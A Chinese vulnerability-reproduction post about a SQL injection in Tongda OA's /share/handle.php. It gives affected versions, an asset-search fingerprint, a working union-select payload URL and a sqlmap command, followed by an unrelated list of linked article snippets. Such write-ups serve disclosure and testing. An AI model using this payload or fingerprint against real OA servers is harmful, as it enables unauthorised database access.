【漏洞复现-通达OA】通达OA share存在前台SQL注入漏洞
一、漏洞简介
通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OA /share/handle.php 存在SQL注入漏洞,攻击者通过漏洞可以获取数据库信息。
二、影响版本
● 通达OA2017-通达OAV11.6
三、资产测绘
● hunterapp.name="通达 OA"
● 特征
四、漏洞复现
/share/handle.php?_GET[module]=1%27={`%27`%202}+union%20select%20user()--+
sqlmap
sqlmap -u "http://192.168.31.164/share/handle.php?_GET%5Bmodule%5D=1'=%7B%60'%60%202%7D" --batch
相关文章：
【漏洞复现-通达OA】通达OA share存在前台SQL注入漏洞
一、漏洞简介 通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包…...
HTML5 Canvas与JavaScript携手绘制动态星空背景
目录 一、程序代码 二、代码原理 三、运行效果 一、程序代码 <!DOCTYPE html> <html> <head> <meta charset"UTF-8"> <title>星空背景</title> </head> <body style"overflow-x:hidden;"><canvas …...
如何优雅地与ChatGPT对话？
ChatGPT已经发布了一年之久了，但你真的会使用ChatGPT吗？同一个问题，不同的问法得到的答案可能千差万别，你可以把ChatGPT当作一个知识面很广的专家，他上知天文下知地理，但他无法直接知道你的意图，…...
AI提示工程实战：从零开始利用提示工程学习应用大语言模型【文末送书-19】
文章目录 背景什么是提示工程？从零开始：准备工作设计提示调用大语言模型 实际应用示例文字创作助手代码生成持续优化与迭代数据隐私与安全性可解释性与透明度总结 AI提示工程实战：从零开始利用提示工程学习应用大语言模型【文末送书-19】⛳粉…...
量子算法入门——3.狄拉克符号与量子态（3）
3. 狄拉克符号的数学基础 左矢是右矢的共轭转置 上标*表示共轭 算符就是对狄拉克符号进行操作，就是相当于矩阵操作向量，算符对应本征值和本征态 本征值：拉伸x、y向量的程度本征态：x、y向量 上标匕首🗡符号…...
c++ STL系列——（三）list
目录 引言 list的特点 list的用法 list与其他容器的比较 结论 引言 在C STL中，list 是一个非常灵活且功能强大的双向链表容器，它允许存储任意类型的元素，并提供了丰富的操作函数，包括插入、删除、排序、查找以及对容器的遍历…...
软考29-上午题-排序
一、排序的基本概念 1-1、稳定性 稳定性指的是相同的数据所在的位置经过排序后是否发生变化。若是排序后，次序不变，则是稳定的。 1-2、归位 每一趟排序能确定一个元素的最终位置。 1-3、内部排序 排序记录全部存放在内存中进行排序的过程。 1-4、外部…...
【详细流程】vue+Element UI项目中使用echarts绘制圆环图 折线图 饼图 柱状图
vueElement UI项目中数据分析功能需要用到圆环图 折线图 饼图 柱状图等，可视化图形分析 安装流程及示例 1.安装依赖 npm install echarts --save2.在main.js中引入并挂载echarts import echarts from echarts Vue.prototype.$echarts echarts3.在需要使用echart…...
Unity之XR Interaction Toolkit如何在VR中实现一个可以拖拽的UI
前言 普通的VR项目中，我们常见的UI都是一个3D的UI，放置在场景中的某个位置，方便我们使用射线点击。但是为了更好的体验，我们可能会有跟随头显的UI，或者可拖拽的UI，这样更方便用户去操作。 所以我们今天的需求就是：如何基于XR Interaction Toolkit 插件 在VR中使用手柄射…...
开源项目热度榜单
题目描述 某个开源社区希望将最近热度比较高的开源项目出一个榜单，推荐给社区里面的开发者。对于每个开源项目，开发者可以进行关注(watch)、收藏(star)、fork、提issue、提交合并请求(MR)等。 数据库里面统计了每个开源项目关注、收藏、fork、issue、M…...
Ubuntu系统搭建HadSky论坛并结合内网穿透实现无公网ip远程访问
💝💝💝欢迎来到我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...
gowin GW1N4 LED
基于上已篇文章基础上增加LED闪烁的功能 《gowin GW1N4 OSC IP 使用》 gowin GW1N4 OSC IP 使用-CSDN博客 https://blog.csdn.net/wzy15965343032/article/details/136172184?spm1001.2014.3001.5502 代码： module osc_test(input rst_n,output test_clk,output …...
Linux ipvlan详解（l2、l3、l3s和bridge、private和vepa模式）
Linux ipvlan详解，测试l2、l3、l3s和bridge、private和vepa模式。 最近在看Docker的网络，看到关于ipvlan网络的介绍。查阅了相关资料，记录如下。 参考 1.图解几个与Linux网络虚拟化相关的虚拟网卡-VETH/MACVLAN/MACVTAP/IPVLAN 2.IPVlan 详…...
理解并实现OpenCV中的图像平滑技术
导读 图像模糊（也称为图像平滑）是计算机视觉和图像处理中的基本操作之一。模糊图像通常是噪声减少、边缘检测和特征提取等应用的第一步。在本博客中，我们将重点介绍如何使用Python中的OpenCV库应用多种模糊技术。 理论概述： 基本…...
ChatGPT高效提问—prompt实践（白领助手）
ChatGPT高效提问—prompt实践（白领助手） 随着社会的不断发展，白领的比例越来越高。白领的工作通常较为繁忙，需要管理复杂的项目。工作量大、要求高、任务紧急，时间分配不当部分可能导致工作效率低下，任…...
Code Composer Studio (CCS) - Comment (注释)
Code Composer Studio [CCS] - Comment [注释] References Add Block Comment: 选中几行代码 -> 鼠标右键 -> Source -> Add Block Comment shortcut key: Ctrl Shift / Remove Block Comment: 选中几行代码->鼠标右键->Source->Remove Block Comment s…...
springboot/ssm校园菜鸟驿站管理系统Java校园快递取件管理系统
springboot/ssm校园菜鸟驿站管理系统Java校园快递取件管理系统 开发语言：Java 框架：springboot（可改ssm） vue JDK版本：JDK1.8（或11） 服务器：tomcat 数据库：mysql 5.…...
【Mybatis】TypeHandler使用
引言 在使用MyBatis进行项目开发时，我们经常会遇到Java类型与数据库类型不匹配的情况。为了解决这一问题，MyBatis提供了一个强大的机制——TypeHandler。TypeHandler是MyBatis中一个用于处理Java类型和数据库类型转换的组件，它在MyBatis进行…...
[计算机网络]---网络编程套接字
前言 作者：小蜗牛向前冲 名言：我可以接受失败，但我不能接受放弃 如果觉的博主的文章还不错的话，还请点赞，收藏，关注👀支持博主。如果发现有问题的地方欢迎❀大家在评论区指正 目录 一、基础知识…...
分布式文件系统 SpringBoot+FastDFS+Vue.js【二】
分布式文件系统 SpringBootFastDFSVue.js【二】 六、实现上传功能并展示数据6.1.创建数据库6.2.创建spring boot项目fastDFS-java6.3.引入依赖6.3.fastdfs-client配置文件6.4.跨域配置GlobalCrosConfig.java6.5.创建模型--实体类6.5.1.FastDfsFile.java6.5.2.FastDfsFileType.j…...
高阶信息度量：总相关性与O信息在特征工程与数据压缩中的应用
1. 从信息论到机器学习：为什么我们需要更精细的“相关性”度量如果你做过机器学习项目，尤其是涉及高维数据特征工程或者模型解释性分析时，大概率会碰到一个头疼的问题：我们如何量化一组特征变量之间的“整体关系”？传统…...
别再被GPG签名卡住了！手把手教你修复Kali老版本apt更新源报错
Kali Linux系统更新源管理进阶指南：从故障修复到高效运维当你成功解决了Kali Linux老版本因GPG签名失效导致的apt更新源报错后，这只是系统维护的第一步。真正的挑战在于如何构建一套可持续的运维策略，避免类似问题反复出现，同时提…...
Unity安装包瘦身实战：从2.3GB到680MB的工程化治理
1. 为什么一个500MB的Unity项目打包后会变成3GB？——安装包膨胀的真实逻辑“Unity安装包减肥”这六个字，听起来像在给软件做瑜伽，但实际是每个上线前夜都在咬牙硬扛的生存战。我做过7个已上线的Unity手游项目，最深的体会是&#x…...
数据可视化：交互式图表与大屏展示
数据可视化：交互式图表与大屏展示 大家好，我是欧阳瑞（Rich Own）。今天想和大家聊聊数据可视化这个重要话题。作为一个全栈开发者，数据可视化是将数据转化为有意义信息的关键。今天就来分享一下交互式图表和大屏展示的实…...
JWT令牌安全实践详解
JWT令牌安全实践详解 一、JWT概述 JSON Web Token（JWT）是一种用于安全传输信息的开放标准（RFC 7519）。 1.1 JWT结构 ┌───────────────────────────────────────────────────…...
机器学习篇---图像分割
图像分割是计算机视觉的基础任务，简单说就是把图像划分成多个有意义的区域。经过多年发展，它已形成一套成熟的方法体系，大致可分为经典传统方法和现代深度学习方法两大流派。📜 经典传统方法：基于数学与物理规则在深度…...
Lindy流程自动化实施倒计时手册：仅剩最后23家企业获赠官方认证治理框架V2.3（含审计就绪检查表）
更多请点击： https://intelliparadigm.com 第一章：Lindy流程自动化实施倒计时手册发布背景与战略意义 在企业数字化转型加速演进的当下，重复性高、规则明确但跨系统耦合度强的业务流程正成为组织效能提升的关键瓶颈。Lindy流程自动化&#x…...
痛苦本身没有价值，从痛苦中提炼出的原则才有价值
如何打破"好了伤疤忘了疼"的人性循环 目录 如何打破"好了伤疤忘了疼"的人性循环 为什么我们天生就"好了伤疤忘了疼" 真正有效的解决方法：把"感性记忆"转化为"理性制度" 第一级：痛苦发生时——立刻"固化"教训，…...
终极免费指南：如何用Wand-Enhancer深度解锁WeMod完整功能与远程控制
终极免费指南：如何用Wand-Enhancer深度解锁WeMod完整功能与远程控制 【免费下载链接】Wand-Enhancer Advanced UX and interoperability extension for Wand (WeMod) app 项目地址: https://gitcode.com/gh_mirrors/we/Wand-Enhancer Wand-Enhancer是一个开源…...
Linux 服务器安装 CC Switch GUI 工具 + VNC 远程桌面完整教程
Linux 服务器安装 CC Switch GUI 工具 VNC 远程桌面完整教程 前言 CC Switch 是一款 All-in-One 的 AI 助手启动器，集成了 Claude Code、Codex 和 Gemini CLI 等工具。但它是 GTK 图形界面程序，在无桌面环境的 Linux 服务器上直接运行会报错ÿ…...